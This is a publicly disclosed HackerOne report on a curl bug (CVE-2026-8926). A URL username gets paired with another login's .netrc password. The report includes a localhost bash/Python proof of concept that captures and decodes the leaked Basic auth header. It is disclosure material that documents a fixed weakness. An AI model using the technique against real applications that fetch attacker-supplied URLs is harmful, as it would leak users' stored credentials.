HexBrain

curl · Report #3735184

CVE-2026-8926: password leak with netrc and user in URL

Validstatus
lowseverity
2upvotes
24 Jun 2026disclosed

How it was found

Hey all, Before the following report, I just want to point to a comment from our scanner, where it seems it was already picked up but it was dismissed and the PR was closed later by another commit - https://github.com/curl/curl/pull/20932#issuecomment-4072903895

Nonetheless, it appears this issue exists for a while, actually since e9b9bbac22c26cf67316fa8e6c6b9e831af31949 (2024-11-15)

Summary:

curl/libcurl can combine a username supplied in the URL with a password from a .netrc entry whose explicit login does not match that username.

For example, if .netrc contains credentials for alice, and the requested URL contains username bob, curl sends an HTTP Basic Authorization header for bob:alice_password.

This contradicts the documented behavior that, when a username is provided in the URL, curl/libcurl looks for the password for that specific user, or falls back to a generic machine entry without a login.

Steps To Reproduce:

Given this .netrc:

machine 127.0.0.1 login alice password secret

and this request:

curl --netrc-optional http://[email protected]:18080/

curl sends:

Authorization: Basic Ym9iOnNlY3JldA==

which decodes to:

bob:secret

The password secret belongs to login alice, but it is sent with URL username bob.

PoC

#!/usr/bin/env bash
set -euo pipefail

tmp="$(mktemp -d)"
port=18080

mkdir -p "$tmp/home"

cat >"$tmp/home/.netrc" <<'EOF'
machine 127.0.0.1 login alice password secret
EOF
chmod 0600 "$tmp/home/.netrc"

cat >"$tmp/server.py" <<'PY'
import base64
import http.server
import socketserver

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get("Authorization", "")
        print("Authorization:", auth, flush=True)
        if auth.startswith("Basic "):
            decoded = base64.b64decode(auth.split(" ", 1)[1]).decode()
            print("Decoded:", decoded, flush=True)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok\n")

    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 18080), Handler) as httpd:
    httpd.handle_request()
PY

python3 "$tmp/server.py" &
server_pid=$!
sleep 0.3

HOME="$tmp/home" curl \
    --silent \
    --show-error \
    --netrc-optional \
    "http://[email protected]:$port/" \
    >/dev/null

wait "$server_pid"

Expected Result

curl should not use alice’s password for URL username bob.

Expected decoded credential should either be:

bob:

or no Authorization header, depending on the selected .netrc mode and fallback behavior.

Actual Result

Authorization: Basic Ym9iOnNlY3JldA== Decoded: bob:secret

Impact

Summary:

An attacker who can influence a URL passed to curl/libcurl while .netrc is enabled can cause a saved password for one account on a host to be sent under a different username for that same host.

Impact examples:

  • Password submission to the wrong account context on the same host.
  • libcurl-based applications that fetch attacker-controlled URLs with CURLOPT_NETRC enabled may leak stored .netrc passwords without the application intending to authenticate as that user.

This is not a cross-host credential leak, but it violates the username-specific .netrc selection semantics and can expose credentials in realistic URL-injection or attacker-supplied URL workflows.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original